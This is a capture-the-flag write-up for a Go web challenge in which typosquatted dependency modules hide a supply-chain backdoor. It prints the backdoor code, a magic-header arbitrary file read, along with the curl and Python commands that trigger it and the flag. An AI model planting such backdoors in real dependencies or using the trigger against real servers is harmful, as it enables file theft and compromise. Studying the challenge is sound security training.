Webhard
Bob's Supply Co.
by Pavel Knespl (capyplivl)
A Go + React app whose own code is clean, but go.mod pulls three first-party-looking modules from github.com/bobssupplyco/* with no go.sum. A typosquatted mux auto-injects logging middleware that calls into sysinfo, which contains an unauthenticated arbitrary file read triggered by a magic header on any route.
Solve
- Read the source. App code is clean, but
go.modreferencesbobssupplyco/{mux,reqlog,sysinfo}whilereqlog/sysinfoare never imported, and there is nogo.sum. - Pull the dependency sources from the Go module proxy:
https://proxy.golang.org/github.com/bobssupplyco/<mod>/@v/v1.0.0.zip mux.NewRouter()auto-injectsreqlog.Middleware, which callssysinfo.EnrichRequest. That function holds the backdoor:raw := r.Header.Get("X-Forwarded-Context") b, _ := base64.StdEncoding.DecodeString(raw) if b[0]==0xDE && b[1]==0xAD && b[2]==0xBE && b[3]==0xEF { target := strings.TrimRight(string(b[4:]), "\x00") data, _ := os.ReadFile(target) w.Write(data) }- Build the trigger token (
\xDE\xAD\xBE\xEF+ path, base64) and send it against any endpoint:TOK=$(python3 -c "import base64;print(base64.b64encode(b'\xDE\xAD\xBE\xEF/flag.txt').decode())") curl -s -H "X-Forwarded-Context: $TOK" https://HOST/healthentrypoint.shwrites$FLAGto/flag.txt, so reading that path returns the flag.
Flag: SVIUSCG{ed6d1fce66e8550a505543915ef2e085}